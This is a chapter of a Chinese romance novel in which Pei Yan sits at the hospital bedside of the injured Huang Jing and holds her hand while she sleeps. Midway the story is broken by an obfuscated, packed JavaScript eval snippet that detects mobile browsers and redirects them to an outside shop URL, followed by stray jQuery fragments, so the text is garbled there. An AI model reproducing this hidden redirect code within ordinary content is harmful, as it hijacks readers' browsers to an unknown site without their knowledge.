门把手被他握在掌心，金属的凉意从指尖传到手腕。裴砚还没有下定决心按下门把。
然而走廊另一端却突然响起一段手机铃声——某个路过的护士或家属的手机在响，声音不大，但在安静空旷的走廊里足够清晰。
钢琴前奏像雨滴一样落下来，歌词隔着几道墙隐隐约约地飘进他耳朵里——“一个我需要梦想，需要方向，需要眼泪，更需要一个人来点亮天的黑。”
裴砚愣在原地。
他记得这首歌。她在他车上放过，在八角那间小屋里单曲循环过，在那个阴雨的午后靠在沙发上戴着一只耳机听过。
后来他们一起看《西虹市首富》，王力宏出现在演唱会舞台上弹着钢琴唱起同一首歌，她筷子停在半空中，惊喜地转头告诉他“原来这首歌出自这里”，然后跟着唱了几句，声音不大，调子也不太准，但她唱得很认真。
那首歌就叫《需要人陪》。她需要人陪。
她从来不会直接说出来，但她用各种方式告诉过他——用她的歌单，用她的电影，用她靠在他肩上的那个下午，用她闻他沐浴露时轻轻翕动的鼻尖。而他居然忘了？！
他忘了她不是不需要任何人，她只是不敢让自己需要任何人。她怕依赖会上瘾，怕开口会被拒绝，怕把自己交出去之后又被丢下。
所以她选了一种最安全的方式：用歌词说，用靠肩说，用闭眼闻他领口的味道说。她说得那么用心，而他却没有听进去？！
她需要人陪她早就告诉他了，是他没听懂。或者听懂了，却不敢相信自己就是那个被需要的人。
裴砚反复回想她赶他走时的背影，把她的保护壳当成她不需要他的证据，却忘了她也有脆弱和渴望靠近的时候。
现在她躺在一门之隔的病床上，全身都疼，眼泪模糊了双眼，窗外暴雨如注。她在听吗？她听到了吗？
手机铃声还在响，走廊尽头有人接起电话，声音模糊不清。雨点砸在玻璃上噼啪作响，和他脑子里那些翻涌的记忆混在一起。
裴砚深吸一口气，按下门把手，推开门。
病房里很暗，窗帘拉着，只有床头灯亮着微弱的光。床头柜上放着靳北捡回来的几颗黄水晶珠子，还有一杯不知道谁倒的温水。
黄晶侧躺在病床上，背对着门，肩膀还在轻轻发抖，输液管从手背蜿蜒而上，床头柜上的止痛针已经空了一半。
裴砚在门口站了片刻，然后走到床边，轻轻拉开椅子坐下。他开口，声音很低，像是怕惊碎她眼角还没干的泪。
“我在。”
说完裴砚把椅子往床边挪近了一点，伸手轻轻握住了她的手指。
她没有移开手。
窗外雨还在下，但病房里的空气似乎没那么冷了。歌还在他脑子里循环，而他终于把歌词变成了行动。
过了很久，黄晶开口，声音很轻，带着哭过后的沙哑：“你怎么来了？”
“你需要人陪。”
黄晶听了他那句话，心里又气又委屈。什么叫“你需要人陪”？好像他是被需要才来的，好像他是被迫的，好像他只是响应了一个召唤而不是自己想要来！
“你不想陪？”她说这话时声音还哑着，鼻音很重，尾音微微往上翘，像在质问，又像在撒娇。
裴砚愣了一下，手指还在轻轻握着她的指尖。
他坐在床边，看着她埋在枕头里的侧脸，脖子上的紫红色掐痕在昏暗的灯光下格外刺眼，眼角还有没擦干的泪痕。
裴砚开口了，声音很低：“想。”
然后把她的手握得更紧了一些，像是在用这个动作弥补所有他没能及时说出口的话，“一直都想。”
黄晶听到这话更难过了。
“裴砚，你真怂。”声音软下来了一点，尾音拖了一下，像是在说“你终于来了”。
裴砚没有反驳。她说他怂，他就是怂。他坐在走廊里，担心了一整夜，每一秒都想推门进来，却每一秒都在犹豫。
怕他的靠近会成为她的负担。怕她皱眉，怕她侧头躲开，怕她用那种平静的语气说“你回去吧”。怕她不需要，怕她推开，怕自己又一次在她最需要的时候做错什么。
他把所有的勇气都用在了等她开口上，却忘了她最需要的是他先开口。
裴砚低下头，握着她的手指轻轻收紧，拇指轻轻摩挲着她的手背。“以后不会了。”
黄晶没有说话，但她也没有抽开手。
黄晶又昏昏睡去了。
药效终于上来了，止痛药和镇静剂顺着输液管一滴一滴流进她的血管，把她从清醒的疼痛里捞出来，沉进没有梦的深水里。
窗外的雨又从噼噼啪啪变成了轻柔淅沥，像一首没有歌词的催眠曲。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713968|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黄晶的眉头慢慢松开，呼吸也逐渐平稳，但她的手还抓着他的手，手指微微蜷着，扣在他的虎口上，力道不重，却没有松开，仿佛怕他趁她睡着又回到走廊里。
裴砚低头看着她的手。手指微微发凉，虎口上缠着一圈白色纱布，无名指的指节上还有一小片昨晚没擦干净的暗红色血迹。
裴砚试着轻轻动了一下拇指，黄晶立刻无意识地收紧手指，眉头跟着皱了起来，嘴里发出一声含糊的、带着喉咙沙哑的嘟囔。他没再动了，就让她抓着。
过了一会儿黄晶又无意识地翻身，身体慢慢转向他这边，脸几乎埋进他的手掌边缘，额头抵着他的指节，蜷缩的姿势像一只终于找到安全角落的猫。
鼻尖蹭过他的指尖，呼出的气息温温的、湿湿的，落在他的掌心里，像一片轻轻的羽毛。
她大概不知道自己在做什么——不知道自己在睡梦中把脸藏进了他的掌心，不知道自己的手指正紧紧扣着他的手背，不知道自己的眉头在他掌缘的触碰下终于完全松开……
裴砚没有动。
他怕抽手会惊醒她，怕稍微动一下就会打断她好不容易得来的安眠。他只是坐在床边，任由她把他的手当枕头，把脸贴进他的掌心。
黄晶的眼泪还没干透，蹭在他手指上，凉凉的。脖子上那片殷红刺目的掐痕无声地诉说着昨晚她经历了什么。
过了一会，裴砚另一只手轻轻拨开她额前被汗水黏住的碎发，指尖碰到她的皮肤时停了一下——没发烧，是好的。又将她眼角残留的泪痕很轻地擦掉了。
裴砚低头安静看着她，忽然想起她第一次在他车上睡着的样子——也是这样的毫无防备，也是这样的安静，好像把自己全部交给了他，相信他不会在红灯时猛踩刹车，相信他会把空调调高两度，相信他会在小区门口熄了火等她醒来……
裴砚把椅子轻轻地往床边挪近了一点，靠回椅背上，闭上眼睛。每隔一会儿就睁眼确认一下输液管里的药水还剩多少，再看一眼她脖子上那片殷红刺眼的掐痕有没有新变化。
窗外的雨不知道什么时候停了，窗帘缝里漏进来一线天光，落在她微微颤动的睫毛上。
黄晶睡得很沉，呼吸均匀，手指依然扣着他的手，像是抓住了什么不能丢的东西。
裴砚低下头，嘴唇极轻地碰了碰她的发顶，然后继续坐在床边。